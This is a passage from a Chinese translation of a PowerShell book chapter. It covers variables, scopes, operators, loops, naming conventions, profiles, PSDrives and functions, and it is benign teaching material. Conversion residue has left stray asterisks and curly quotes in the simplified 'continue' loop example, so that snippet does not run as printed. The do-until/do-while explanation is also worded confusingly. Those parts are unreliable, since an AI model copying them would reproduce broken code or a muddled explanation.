有关自动变量的完整列表,请查看官方文档:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_automatic_variables

环境变量

环境变量存储有关操作系统和系统经常使用的路径的信息。

要显示当前会话中的所有环境变量,可以使用dir env:,如下面的截图所示:

图 2.1 – 环境变量

图 2.1 – 环境变量

你可以通过使用前缀$env:直接访问和重用这些变量:

> $env:PSModulePath
C:\Users\PSSec\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules

要了解更多关于如何访问和处理环境变量的信息,请查看官方文档:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_environment_variables

保留字和语言关键字

有些词是系统保留的,不应作为变量或函数名称使用,因为这会导致代码出现混淆和意外行为。

通过使用Get-Help,你可以获得保留字的列表和更多信息:

> Get-Help about_reserved_words

另请查看about_Language_Keywords帮助页面,以获得所有语言关键字的详细概述和解释:

> Get-Help about_Language_Keywords

下面是本书编写时所有可用的语言关键字概览:

Begin               Enum               Param
Break               Exit               Process
Catch               Filter             Return
Class               Finally            Static
Continue            For                Switch
Data                ForEach            Throw
Define              From               Trap
Do                  Function           Try
DynamicParam        Hidden             Until
Else                If                 Using
Elseif              In                 Var
End                 InlineScript       While

要了解更多关于某个语言关键字的信息,你可以使用Get-Help

> Get-Help break

一些保留字(如ifforforeachwhile)有自己的帮助文章。要阅读它们,请在前面加上about_作为前缀:

> Get-Help about_If

如果你没有找到某个特定保留字的帮助页面(并非每个保留字都有自己的页面),你可以使用Get-Help查找包含你所寻找词语的帮助页面:

> Get-Help filter -Category:HelpFile

请记住这些保留字,避免将它们用作函数、变量或参数名称。使用保留字会导致代码出现故障。

变量作用域

在使用 PowerShell 变量时,你需要限制访问。如果你在函数中使用一个变量,你不希望它在命令行上默认可用——尤其是当你处理受保护的值时。PowerShell 变量作用域根据需要保护对变量的访问。

一般来说,变量仅在设置它们的上下文中可用,除非修改了作用域:

$script:ModuleRoot = $PSScriptRoot
# Sets the scope of the variable $ModuleRoot to script

作用域修饰符

使用作用域修饰符,你可以配置变量可用的作用域。以下是最常用的作用域修饰符概览:

  • global:将作用域设置为全局。此作用域在 PowerShell 启动时有效,或者在你创建一个新会话时有效。

例如,如果你在模块内将一个变量设置为全局,一旦加载该模块并运行设置为全局的部分,该变量将在会话中可用——即使你没有运行该模块的其他函数。

  • local:这是当前作用域。局部作用域可以是全局作用域、脚本作用域或任何其他作用域。

  • script:此作用域仅在设置此作用域的脚本内有效。如果你希望仅在某个模块内设置一个变量,并且该变量在函数调用后不应再可用,这种作用域非常有用。

为了演示变量作用域的工作原理,我准备了一个小脚本,Get-VariableScope.ps1,你可以在本书的 GitHub 仓库Chapter02中找到:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter02/Get-VariableScope.ps1

在脚本中,首先声明了Set-Variables函数。如果调用此函数,它会设置三个作用域的变量——局部脚本全局,然后输出每个变量。

然后,相同的脚本调用Set-Variable函数。调用该函数后,变量会写入输出:

图 2.2 – 调用具有局部、脚本和全局作用域的变量

图 2.2 – 调用具有局部、脚本和全局作用域的变量

虽然这些变量刚刚在局部作用域中设置,但在此上下文中调用时,所有配置的变量都可用(局部作用域)。

如果相同的脚本尝试访问在定义变量的函数外部配置的变量,仍然可以访问配置为脚本全局作用域的变量。具有局部作用域的变量是无法访问的,因为这些变量是在脚本作用域中调用的。

运行Get-VariableScope.ps1脚本后,尝试在命令行中访问变量(全局作用域):

图 2.3 – 在命令行中访问变量

图 2.3 – 在命令行中访问变量

你可以将作用域想象为变量的容器,因此,在这种情况下,我们只能访问全局作用域容器中的变量。具有局部脚本作用域的变量在没有从其定义的脚本中调用时,无法从命令行访问。

在使用作用域时,建议选择提供最小所需权限的作用域,以便根据你的使用场景。这有助于防止在同一会话中多次运行脚本时意外破坏脚本。虽然从安全角度来看,使用全局作用域不一定会有问题,但最好在没有严格必要时避免使用它。

使用修改作用域的变量

当你使用脚本(script)和全局(global)作用域变量时,最好始终使用带修饰符的变量:$script:script_variable** / **$global:global_variable

尽管可以在没有修饰符的情况下使用变量($script_variable** / $global_variable**),但使用修饰符可以帮助你一目了然地查看变量的作用域是否发生变化,帮助你进行故障排除,并避免混淆。

作用域不仅限于变量;它们还可以用于限制函数、别名和 PowerShell 驱动器。当然,作用域还有许多其他应用场景,超出了本节的描述。

如果你有兴趣了解更多关于作用域(不仅是变量作用域)和高级用法的内容,请查看官方文档:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_scopes

运算符

运算符不仅帮助你执行数学或逻辑运算,而且它们也是比较值或重定向值的好方法。

算术运算符

算术运算符可以用来计算数值。它们如下所示:

  • 加法+):

    > $a = 3; $b = 5; $result = $a + $b
    
    > $result
    
    8
    
  • 减法-):

    > $a = 3; $b = 5; $result = $b - $a
    
    > $result
    
    2
    
  • 乘法(*****):

    > $a = 3; $b = 5; $result = $a * $b
    
    > $result
    
    15
    
  • 除法/):

    > $a = 12; $b = 4; $result = $a / $b
    
    > $result
    
    3
    
  • 取余%):如果你以前没有使用过取余操作,%是检查一个数除以另一个数后是否有余数的好方法。取余操作返回余数:

    > 7%2
    
    1
    
    > 8%2
    
    0
    
    > 7%4
    
    3
    

当然,你也可以像平常一样组合不同的算术运算符:

> $a = 3; $b = 5; $c = 2
> $result = ($a + $b) * $c
> $result
16

在 PowerShell 中组合不同的算术运算符时,运算符优先级与常规数学运算一致。

分号(Semicolons)、(大括号)花括号(Curly Braces)和与号(Ampersands)

在这个例子中,我们使用分号在一行内执行多个命令:在 PowerShell 中,分号;)在功能上等同于回车符。

还需要注意的是,保留字符如花括号 **{}圆括号 **()与号 **& 的使用可能对脚本执行产生重要影响。具体来说,花括号表示代码块,圆括号用于分组表达式或函数参数,而与号**用于调用可执行文件或命令,就像调用一个 cmdlet 一样。

为了避免脚本执行中的问题,了解这些保留字符及其特定用法至关重要。

比较运算符

通常需要进行值的比较。在本节中,您将看到 PowerShell 中比较运算符的概述:

  • 等于(-eq):如果两个值相等,返回 True

    > $a = 1; $b = 1; $a -eq $b
    
    True
    
    > $a = 1; $b = 2; $a -eq $b
    
    False
    

数组上下文 中,运算符的行为不同:当数组作为比较的左操作数时,PowerShell 会对数组中的每个元素执行比较操作。

在数组上下文中使用比较运算符时,操作将返回由运算符选择的元素:

> "A", "B", "C", "D" -lt "C"
A
B

当在数组上下文中使用时,-eq 运算符的行为与其典型的比较行为不同。它不会检查两个操作数是否相等,而是返回左操作数数组中所有等于右操作数的元素。如果没有找到匹配项,操作仍会返回 False

> "A","B","C" -eq "A"
A
  • 不等于(-ne):如果两个值不相等,返回 True

    > $a = 1; $b = 2; $a -ne $b
    
    True
    
    > $a = 1; $b = 1; $a -ne $b
    
    False
    
    > "Hello World!" -ne $null
    
    True
    
    > "A","B","C" -ne "A"
    
    B
    
    C
    
  • 小于等于(-le):如果第一个值小于或等于第二个值,返回 True

    > $a = 1; $b = 2; $a -le $b
    
    True
    
    > $a = 2; $b = 2; $a -le $b
    
    True
    
    > $a = 3; $b = 2; $a -le $b
    
    False
    
    > "A","B","C" -le "A"
    
    A
    
  • 大于等于(-ge):如果第一个值大于或等于第二个值,返回 True

    > $a = 1; $b = 2; $a -ge $b
    
    False
    
    > $a = 2; $b = 2; $a -ge $b
    
    True
    
    > $a = 3; $b = 2; $a -ge $b
    
    True
    
    > "A","B","C" -ge "A"
    
    A
    
    B
    
    C
    
  • 小于(-lt):如果第一个值小于第二个值,返回 True

    > $a = 1; $b = 2; $a -lt $b
    
    True
    
    > $a = 2; $b = 2; $a -lt $b
    
    False
    
    > $a = 3; $b = 2; $a -lt $b
    
    False
    
    > "A","B","C" -lt "A" # results in no output
    
  • 大于(-gt):如果第一个值大于第二个值,返回 True

    > $a = 1; $b = 2; $a -gt $b
    
    False
    
    > $a = 2; $b = 2; $a -gt $b
    
    False
    
    > $a = 3; $b = 2; $a -gt $b
    
    True
    
    > "A","B","C" -gt "A"
    
    B
    
    C
    
  • -like:可用于检查值是否与标量情况下的通配符表达式匹配。如果在数组上下文中使用,-like 运算符仅返回与指定通配符表达式匹配的元素:

    > "PowerShell" -like "*owers*"
    
    True
    
    > "PowerShell", "Dog", "Cat", "Guinea Pig" -like "*owers*"
    
    PowerShell
    

需要注意的是,运算符的数组版本不会返回一个布尔值,表示数组中的任何元素是否与表达式匹配,这与标量版本的行为不同。

  • -notlike:可用于检查值是否与标量情况下的通配符表达式不匹配。如果在数组上下文中使用,-notlike 运算符仅返回不匹配指定通配符表达式的元素:

    > "PowerShell" -notlike "*owers*"
    
    False
    
    > "PowerShell", "Dog", "Cat", "Guinea Pig" -notlike "*owers*"
    
    Dog
    
    Cat
    
    Guinea Pig
    
  • -match:可用于检查值是否与正则表达式匹配:

    > "PowerShell scripting and automation for Cybersecurity" -match "shell\s*(\d)"
    
    False
    
    > "Cybersecurity scripting in PowerShell 7.3" -match "shell\s*(\d)"
    
    True
    
  • -notmatch:可用于检查值是否与正则表达式不匹配:

    > "Cybersecurity scripting in PowerShell 7.3" -notmatch "^Cyb"
    
    False
    
    > "PowerShell scripting and automation for Cybersecurity" -notmatch "^Cyb"
    
    True
    

另请参考官方 PowerShell 文档,了解更多比较运算符的内容:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_comparison_operators

赋值运算符

在处理变量时,了解赋值运算符非常重要:

  • =:赋值一个值:

    > $a = 1; $a
    
    1
    
  • +=:通过运算符后定义的数值增加原始变量的值,并将结果存储在该变量中:

    > $a = 1; $a += 2; $a
    
    3
    
  • -=:通过运算符后定义的数值减少原始变量的值,并将结果存储在该变量中:

    > $a
    
    3
    
    > $a -= 1; $a
    
    2
    
  • *=:将值乘以运算符后定义的数值,并将结果存储在初始变量中:

    > $a
    
    2
    
    > $a *= 3; $a
    
    6
    
  • /=:将值除以运算符后定义的数值,并将结果存储在初始变量中:

    > $a
    
    6
    
    > $a /= 2; $a
    
    3
    
  • %=:对变量进行模运算,使用运算符后面的数值,并将结果存储在初始变量中:

    > $a
    
    3
    
    > $a %= 2; $a
    
    1
    
  • ++:将变量加上1

    > $a= 1; $a++; $a
    
    2
    
  • --:将变量减去1

    > $a = 10; $a--; $a
    
    9
    

请参考官方文档查看更多关于如何使用赋值运算符的示例:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_assignment_operators

逻辑运算符

如果你处理多个语句,你将需要逻辑运算符来添加、比较或排除。在本节中,你将看到 PowerShell 中常见逻辑运算符的概览:

  • -and:可用于组合条件。只有当两个条件都满足时,定义的动作才会被触发:

    > $a = 1; $b = 2
    
    > if (($a -eq 1) -and ($b -eq 2)) {Write-Host "Condition is true!"}
    
    Condition is true!
    
  • -or:如果满足其中一个定义的条件,触发相应的动作:

    > $a = 2; $b = 2
    
    > if (($a -eq 1) -or ($b -eq 2)) {Write-Host "Condition is true!"}
    
    Condition is true!
    
  • -not!:可以用来否定一个条件。以下示例测试通过$path变量指定的文件夹是否可用。如果文件夹不存在,将会创建它:

    $path = $env:TEMP + "\TestDirectory"
    
    if( -not (Test-Path -Path $path )) {
    
        New-Item -ItemType directory -Path $path
    
    }
    
    if (!(Test-Path -Path $path)) {
    
        New-Item -ItemType directory -Path $path
    
    }
    
  • -xor:逻辑排他性-or。如果只有一个语句为True,则为True(但如果两个都为True,则返回False):

    > $a = 1; $b = 2; ($a -eq 1) -xor ($b -eq 1)
    
    True
    
    > ($a -eq 1) -xor ($b -eq 2)
    
    False
    
    > ($a -eq 2) -xor ($b -eq 1)
    
    False
    

现在你已经学会了如何在 PowerShell 中使用运算符,让我们在下一节中了解一下控制结构。

请参考about_operators文档,了解更多关于 PowerShell 运算符的知识:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_operators

控制结构

控制结构是一种程序逻辑,用于评估条件和变量,并决定在特定条件满足时执行哪些定义的动作。

使用我们在上一节中学到的运算符来定义条件,这些条件将通过本节介绍的控制结构进行评估。

条件

如果你想根据某个条件选择执行的动作,可以使用以下选择控制结构之一:if/elseif/else结构或switch语句。

If/elseif/else

ifelseifelse可以用来检查某个条件是否为True,并在条件满足时执行相应的动作:

if (<condition>)
{
    <action>
}
elseif (<condition 2>)
{
    <action 2>
}
...
else
{
    <action 3>
}

你可以使用if语句检查条件是否为True

> if (1+2 -eq 3) { Write-Host "Good job!" }
 Good job!
> if (1+2 -eq 5) { Write-Host "Something is terribly wrong!" }
# returns no Output

你也可以通过使用elseif检查多个条件是否为True,第一个满足条件的动作将会被执行:

$color = "green"
if ($color -eq "blue") {
     Write-Host "The color is blue!"
}
elseif ($color -eq "green"){
     Write-Host "The color is green!"
}
# returns: The color is green!

在这个例子中,控制结构检查是否满足指定的条件之一(即$color -eq "blue"或**\(color -eq "green"**)。如果`\)colorred`,则不会执行任何动作。

但由于$color的值是green,所以elseif条件为True,并且The color is green!字符串将被输出到控制台。

如果你想指定在没有满足任何指定条件时触发的动作,可以使用else。如果没有满足ifelseif的条件,将执行else块中指定的动作:

$color = "red"
if ($color -eq "blue") {
     Write-Host "The color is blue!"
}
elseif ($color -eq "green"){
     Write-Host "The color is green!"
}
else {
     Write-Host "That is also a very beautiful color!"
}
# returns: That is also a very beautiful color!

在这个例子中,我们检查$color是否是bluegreen。但是由于$color"red",没有任何已定义的条件为True,因此else块中的代码将被执行,并输出That is also a very beautiful color!

Switch

有时候,你可能需要检查一个变量是否与一个很长的值列表匹配。

为了解决这个问题,你当然可以创建一个很长且复杂的ifelseif、…、elseifelse语句列表。

但是,相反,你可以使用更优雅的switch语句,将一个值与预定义的多个值进行比对,并根据结果作出相应反应:

switch (<value to test>) {
     <condition 1> {<action 1>}
     <condition 2> {<action 2>}
     <condition 3> {<action 3>}
     ...
     default {}
}

这是一个示例:

$color = Read-Host "What is your favorite color?"
switch ($color) {
     "blue"   { Write-Host "I'm BLUE, Da ba dee da ba di..." }
     "yellow" { Write-Host "YELLOW is the color of my true love's hair." }
     "red"    { Write-Host "Roxanne, you don't have to put on the RED light..." }
     "purple" { Write-Host "PURPLE rain, purple rain!" }
     "black" { Write-Host "Lady in BLACK... she came to me one morning, one lonely Sunday morning..." }
     default  { Write-Host "The color is not in this list." }
}

在这个例子中,系统会提示用户输入一个值:What is your** **favorite color?

根据用户输入的内容,会显示不同的输出:如果输入purple,将显示一行来自著名歌手 Prince 的歌曲Purple Rain。如果输入red,将引用 The Police 的歌曲Roxanne中的一行歌词。

但是,如果输入的是green,将显示default输出,因为没有为green定义选项,系统会显示消息The color is not in this list

除了使用switch语句来基于变量或表达式的值评估简单的条件外,PowerShell 还支持更高级的模式。这些模式允许你使用正则表达式、处理文件内容等。

例如,你可以使用-Regex参数,通过正则表达式来匹配输入值,像这样:

switch -Regex ($userInput) {
    "^[A-Z]" { "User input starts with a letter." }
    "^[0-9]" { "User input starts with a number." }
    default { "User input doesn't start with a letter or number." }
}

如果$userInput定义为"Hello World!",那么输出将是"User input starts with a letter."。如果$userInput以数字开头(例如,"1337"),输出将是"User input starts with a number."。如果$userInput以其他字符开头(例如,"!"),那么将满足default条件,并输出"User input doesn't start with a letter or number."

你还可以使用-File参数,通过switch语句处理文件内容。-Wildcard参数允许你在switch语句中使用通配符逻辑:

$path = $env:TEMP + "\example.txt"
switch -Wildcard -File $path {
    "*Error*" { Write-Host "Error was found!: $_" }
}

在这个例子中,我们使用 switch 语句处理名为 "example.txt" 的文件内容。我们正在寻找文件中的 "*Error*" 模式,并根据是否找到该模式来执行操作。如果指定的文件包含该模式,则 "Error was found!:" 将被写入输出,然后是包含错误的行。需要注意的是,通配符模式是逐行处理的,而不是针对整个文件,因此对于文件中每一行包含 "*****Error*" 模式的行,都会写入一行 "Error was found!:"

循环与迭代

如果你想反复执行一个操作直到满足某个条件,你可以使用循环。只要指定的条件为 True,循环将继续执行,除非它被如 break 之类的跳出语句终止。根据使用的循环结构,循环可能至少执行一次,或者如果条件最初为 False,则可能根本不执行。

在本节中,你将找到有关如何使用循环的概述。

ForEach-Object

ForEach-Object 接受一个列表或数组的项,并允许你对每一项执行操作。ForEach-Object 最适合在你使用管道将对象传递给 ForEach-Object 时使用。

作为示例,如果你想处理一个文件夹中的所有文件,你可以使用 Foreach-Object$_ 包含每次迭代中每一项的值:

> $path = $env:TEMP + "\baselines"
> Get-ChildItem -Path $path | ForEach-Object {Write-Host $_}
Office365-ProPlus-Sept2019-FINAL.zip
Windows 10 Version 1507 Security Baseline.zip
Windows 10 Version 1607 and Windows Server 2016 Security Baseline.zip
Windows 10 Version 1803 Security Baseline.zip
Windows 10 Version 1809 and Windows Server 2019 Security Baseline.zip
Windows 10 Version 1903 and Windows Server Version 1903 Security Baseline - Sept2019Update.zip
Windows 10 Version 1909 and Windows Server Version 1909 Security Baseline.zip
Windows 10 Version 2004 and Windows Server Version 2004 Security Baseline.zip
Windows Server 2012 R2 Security Baseline.zip

如果你想在处理管道中的每个项之前或所有项处理之后执行特定操作,可以使用 -Begin-End 高级参数与 ForEach-Object cmdlet 一起使用:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/foreach-object

此外,你可以使用 -Process 参数指定针对管道中每个项运行的脚本块。

Foreach

要在 PowerShell 中遍历一个项的集合,你可以使用 Foreach-Object cmdletforeach 语句foreach 方法Foreach-Object cmdlet 接受管道对象,使其成为处理面向对象数据的有用工具。foreach 方法foreach 语句Foreach-Object 非常相似,但它们不接受管道对象。如果你像使用 Foreach-Object 一样使用它们,你会收到错误消息。

foreach 语句 会在处理之前将所有项加载到一个集合中,这使得它比 ForEach-Object 更快,但会消耗更多的内存。

以下示例演示了如何使用 foreach 语句

$path = $env:TEMP + "\baselines"
$items = Get-ChildItem -Path $path
foreach ($file in $items) {
     Write-Host $file
}

在此示例中,$path路径的检查与我们之前的示例相似。但在这种情况下,它使用foreach 语句遍历$items数组中的每个项,在每次迭代时将当前项分配给$file变量。$file变量由脚本作者定义——当然,也可以在此处添加并处理任何其他变量名。对于每个项,它使用Write-Host cmdlet 将$file的值输出到控制台。

你可以使用.foreach({}) 方法遍历一个项目集合。以下是如何使用它的示例:

$path = $env:TEMP + "\baselines"
$items = Get-ChildItem -Path $path
$items.foreach({
    Write-Host "Current item: $_"
})

在此示例中,检查$path;对于该文件夹中的每个文件,文件名将写入命令行。使用.foreach**({}) 方法遍历$items集合中的每个项,并向控制台写入包含项名的消息。$_变量用于引用当前正在遍历的项。因此,对于$items集合中的每个项,脚本将输出类似于"当前项:文件名"**的消息。

while

while会执行某些操作(),只要定义的条件满足:

while ( <condition> ){ <actions> }

在此示例中,读取用户输入,只要用户未输入quitwhile循环仍会继续执行:

while(($input = Read-Host -Prompt "Choose a command (type in 'help' for an overview)") -ne "quit"){
    switch ($input) {
        "hello" {Write-Host "Hello World!"}
        "color" {Write-Host "What's your favorite color?"}
        "help" {Write-Host "Options: 'hello', 'color', 'help' 'quit'"}
    }
}

在此示例中,如果用户输入hellocolorhelp,将显示不同的输出选项,但程序仍会继续,因为while语句的条件未满足。

一旦用户输入quit,程序将终止,因为条件已满足。

for

这定义了初始化语句、一个条件,并在定义的条件不再满足时循环:

for (<initializing statement>; <condition>; <repeat>)
{
    <actions>
}

如果需要迭代值,for是一个很好的解决方案:

> for ($i=1; $i -le 5; $i++) {Write-Host "i: $i"}
i: 1
i: 2
i: 3
i: 4
i: 5

在此示例中,$i=1是起始条件,每次迭代时,$i增加1,使用$i++语句。只要$i小于或等于5——即($i -le 5)——循环就会继续,并将$i写入输出。

do-until/do-while

与其他循环相比,do-untildo-while会先运行定义的命令,然后检查条件是否仍然满足或不满足:

do{
     <action>
}
<while/until><condition>

尽管do-untildo-while具有相同的语法,它们在处理条件的方式上有所不同。

do-while只要条件为True,就会继续运行,直到条件不再满足为止。do-until仅在条件满足时运行:当条件满足时,它会结束。

break

break可用于退出循环(例如,for**/**foreach**/**foreach-object/…):

> for ($i=1; $i -le 10; $i++) {
    Write-Host "i: $i"
    if ($i -eq 3) {break}
}
i: 1
i: 2
i: 3

查阅官方文档以了解更多关于break的高级用法:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_break

continue

continue 语句用于跳过当前循环的迭代并进入下一个迭代。它不会影响循环的条件,循环条件将在下一次迭代开始时重新评估:

> for ($i=1; $i -le 10; $i++) {
    if (($i % 2) -ne 0) {continue}
    Write-Host "i: $i"
}
i: 2
i: 4
i: 6
i: 8
i: 10

在这个例子中,我们使用了取模(%)运算符来计算除以 2 是否有余数。如果 $i % 2 的余数非零,则条件返回 True,并触发 continue

这种行为导致 $i 只有在没有返回余数时才会被写入控制台。

你知道吗?

上面的例子演示了每当返回的余数 不是 0 时,当前迭代会被跳过。这段代码也可以通过以下方式简化:

for ($i=1; $i -le 10; $****i++) {

if ($i % 2){** **continue }

Write-Host “****i: $i”

}

你不仅可以使用控制结构来解决单一问题,还可以通过结合多个控制结构来解决复杂逻辑问题。

阅读完这一部分后,你应该对现有的控制结构有基本的了解,并知道如何使用它们。

命名规范

Cmdlet 和函数都遵循 动词-名词 的命名规则,例如 Get-HelpStop-Process。因此,如果你编写自己的函数或 cmdlet,请确保遵循命名指南和建议。

微软发布了一份批准的动词列表。尽管使用批准的动词在技术上并不是强制要求,但强烈建议这样做,以便遵循 PowerShell 的最佳实践,并避免与自动变量和保留字发生冲突。此外,在将 PowerShell 模块发布到 PowerShell Gallery 时,必须使用批准的动词,否则如果使用了未批准的动词,将会触发警告消息。以下是批准动词的链接:

docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/approved-verbs-for-windows-powershell-commands

查找批准的动词

如果你正在编写代码,并且希望快速检查有哪些批准的动词,可以利用 Get-Verb 命令。

如果你想对可用动词列表进行排序,可以将输出传递给 Sort-Object。默认情况下,动词按传统的使用类别进行排序,如 CommonDataLifecycle。然而,你也可以通过指定 Name 属性并使用 Sort-Object 命令按字母顺序对它们进行排序。使用以下命令按 Verb 的名称对 Get-Verb 的输出进行排序:

Get-Verb | Sort-Object Verb

你还可以使用通配符来预先筛选列表:

> Get-Verb re*
Verb     Group
----     -----
Redo     Common
Remove   Common
Rename   Common
Reset    Common
Resize   Common
Restore  Data
Register Lifecycle
Request  Lifecycle
Restart  Lifecycle
Resume   Lifecycle
Repair   Diagnostic
Resolve  Diagnostic
Read     Communications
Receive  Communications
Revoke   Security

如果你只想从某一组(在此案例中是 Security)中获取所有批准的动词,可以使用 Where-Object 来过滤 Group

> Get-Verb | Where-Object Group -eq Security
Verb      Group
----      -----
Block     Security
Grant     Security
Protect   Security
Revoke    Security
Unblock   Security
Unprotect Security

尽管 PowerShell 不强制执行命名约定,但仍应遵守这些约定。微软也强烈鼓励在编写命令时遵循这些指南,以确保用户获得一致的用户体验。

在编写自己的函数和命令时,请同时参考开发指南:开发指南

PowerShell 配置文件

PowerShell 配置文件是配置文件,用于个性化您的 PowerShell 环境。这些配置文件可用于自定义 PowerShell 会话的行为和环境。它们是会在 PowerShell 会话启动时执行的脚本,允许用户设置变量、定义函数、创建别名等。

在适当的 PowerShell 配置文件中定义的任何变量、函数或别名将在每次启动 PowerShell 会话时加载。这意味着您可以在所有会话中保持一致且个性化的 PowerShell 环境。

配置文件有几种不同的类型,PowerShell 可以处理多个配置文件。PowerShell 配置文件作为纯文本文件保存在您的系统中,并且有多种类型的配置文件可用:

  • 所有用户,所有主机($profile.AllUsersAllHosts):该配置文件适用于所有用户的所有 PowerShell 主机。

  • 所有用户,当前主机($profile.AllUsersCurrentHost):该配置文件适用于当前 PowerShell 主机的所有用户。

  • 当前用户,所有主机($profile.CurrentUserAllHosts):该配置文件适用于当前用户的所有 PowerShell 主机。

  • 当前用户,当前主机($profile.CurrentUserCurrentHost):该配置文件仅适用于当前用户和当前 PowerShell 主机。

PowerShell 主机是托管 PowerShell 引擎的应用程序。PowerShell 主机的示例包括 Windows PowerShell 控制台、PowerShell 集成脚本环境(ISE)以及 Visual Studio Code 中的 PowerShell 终端。

您的 PowerShell 配置文件的位置取决于您的系统和配置,但您可以通过在 PowerShell 中运行以下命令轻松找到它们存储的位置:

图 2.4 – 查找本地 PowerShell 配置文件的位置

图 2.4 – 查找本地 PowerShell 配置文件的位置

需要注意的是,还有更多的配置文件路径可用,包括系统使用的路径,而不仅仅是个别用户使用的路径(这些路径会包含在AllUsers配置文件中):

  • 适用于本地 Shell 和所有用户:%windir%\system32\WindowsPowerShell\v1.0\profile.ps1

  • 适用于所有 Shell 和所有用户:%windir%\system32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1

  • 适用于所有本地 ISE Shell 和所有用户:%windir%\system32\WindowsPowerShell\v1.0\Microsoft.PowerShellISE_profile.ps1

当使用 PowerShell ISE 时,此配置文件会被加载,并且可以通过在 ISE 中运行 $profile | fl * -force 命令来查看

  • 适用于本地主机上的当前用户 ISE shell:%UserProfile%\Documents\WindowsPowerShell\Microsoft.PowerShellISE_profile.ps1

例如,在 Windows PowerShell 中,有适用于 AllUsersAllHosts 的配置文件,这些配置文件适用于系统中的所有用户和所有 PowerShell 主机。在 PowerShell Core 中,也有 AllUsersAllHosts 的配置文件,但它们默认不会加载 system32 目录中的 Windows PowerShell 配置文件。还需要注意的是,虽然 PowerShell Core 支持加载 Windows PowerShell 配置文件,但反之则不行。

要访问特定配置文件的文件路径,例如 CurrentUserCurrentHost 的配置文件,可以使用在 $profile.CurrentUserCurrentHost 中定义的变量:

> $profile.CurrentUserCurrentHost
C:\Users\pssecuser\Documents\PowerShell\Microsoft.PowerShell_profile.ps1

使用以下代码片段检查文件是否已经存在;如果文件尚未存在,则会创建该文件:

if ( !( Test-Path $profile.CurrentUserCurrentHost ) ) {
    New-Item -ItemType File -Path $profile.CurrentUserCurrentHost
}

最后,将命令、函数或别名添加到用户配置文件中:

> Add-Content -Path $profile -Value “New-Alias -Name Get-Ip -Value ‘ipconfig.exe’”

除了自定义 PowerShell 环境之外,配置文件还是 PowerShell 安全性的关键方面。通过修改配置文件,您可以设置策略和限制,执行安全最佳实践,例如阻止执行未签名的脚本或设置执行策略。但同时,攻击者也可以利用 PowerShell 配置文件来达成他们的目的——例如,建立持久性。

理解 PowerShell 中的 PSDrives

PowerShell 包含一个名为 PowerShell 驱动器PSDrives)的功能。PowerShell 中的 PSDrives 类似于 Windows 中的文件系统驱动器,但不同的是,您使用 PSDrives 访问各种数据存储,而不是访问文件和文件夹。这些数据存储可以包括目录、注册表键以及其他数据源,可以通过一致且熟悉的接口访问。

PSDrives 由 PSProviders 提供支持,PSProviders 是提供对数据存储访问的底层组件。PSProviders 类似于 Windows 中的驱动程序,它们允许访问不同的硬件设备。在 PowerShell 中,PSProviders 允许您以统一的方式访问不同的数据存储,使用相同的 cmdlet 和语法。

例如,Env:\ PSDrive 是一个内置的 PowerShell 驱动器,提供访问环境变量的功能。要检索所有名称中包含 path 字符串的环境变量,可以使用 Env:\ PSDrive 和 Get-ChildItem cmdlet:

> Get-ChildItem Env:\*path*

要访问 PSDrive,您需要在路径中使用特殊的前缀。例如,要访问文件系统驱动器,使用前缀 C:,要访问注册表驱动器,使用前缀 HKLM:。对于 Env:\ PSDrive,前缀是 Env:,它允许您像访问文件或文件夹一样访问环境变量。

PowerShell 中有几个内置的 PSDrives,包括以下几种:

  • Alias:提供对 PowerShell 别名的访问

  • Environment:提供对环境变量的访问

  • Function:提供对 PowerShell 函数的访问

  • Variable:提供对 PowerShell 变量的访问

  • Cert:提供对 Windows 证书存储中的证书的访问

  • Cert:\CurrentUser:提供对当前用户证书存储中的证书的访问

  • Cert:\LocalMachine:提供对本地计算机证书存储中的证书的访问

  • WSMan:提供对 Windows 远程管理(WinRM) 配置数据的访问

  • C:D:以及其他驱动器字母):用于访问文件系统,就像在 Windows 资源管理器中一样

  • HKCU:提供对 HKEY_CURRENT_USER 注册表树的访问

  • HKLM:提供对 HKEY_LOCAL_MACHINE 注册表树的访问

使代码可重用

在本节中,我们将探讨如何在 PowerShell 中使代码可重用的概念。可重用性是编程中的一个重要方面,它允许你一次创建一个函数、cmdlet 或模块,并可以多次使用,而无需一遍又一遍地重写相同的代码。通过这种方式,你可以节省时间和精力,长期来看非常有利。

我们将从讨论 cmdlet 开始,接着是函数和别名,最后,我们将探索 PowerShell 模块,它们是包含 PowerShell 命令和函数的集合,可以轻松共享并安装到其他系统中,是打包和分发可重用代码的一个好方法。

Cmdlet

cmdlet(发音为 commandlet)是一种 PowerShell 命令,执行特定任务,并且可以用 C# 或其他 .NET 语言编写。这包括高级函数,这些函数也被视为 cmdlet,但比普通函数具有更多的高级功能。

Get-Command 可以帮助你区分 cmdlet 和函数。此外,你还可以查看版本和提供程序:

> Get-Command new-item
CommandType   Name      Version    Source
-----------   ----      -------    ------
Cmdlet        New-Item  3.1.0.0    Microsoft.PowerShell.Management

要查看当前安装在你使用的机器上的所有 cmdlet,你可以利用 Get-Command 配合 CommandType 参数:

Get-Command -CommandType Cmdlet

如果你想更深入地了解 cmdlet,我建议查看官方 PowerShell 文档。微软发布了很多建议、推荐和指南:

函数

函数是按照特定逻辑执行的一组 PowerShell 命令。

与其他编程语言和脚本语言一样,如果你一遍又一遍地输入相同的命令,或者你发现自己在不同场景下修改相同的一行命令,那么绝对是时候创建一个函数了。

选择名称时,请确保遵循动词-名词命名约定,并且只使用批准的动词。关于批准动词和命名约定的更多内容,请参考本章之前的命名约定部分。

这个使用伪代码的骨架函数应该展示函数的基本结构:

function Verb-Noun {
<#
        <Optional help text>
#>
param (
    [data_type]$Parameter
)
<...Code: Function Logic...>
}

一旦函数加载到会话中,就需要调用它才能执行:

Verb-Noun -Parameter "test"

你可以在 GitHub 上找到一个演示函数及其帮助文档,该函数简单地输出Hello World!并接受一个参数来生成额外的输出,以及调用它的方式:

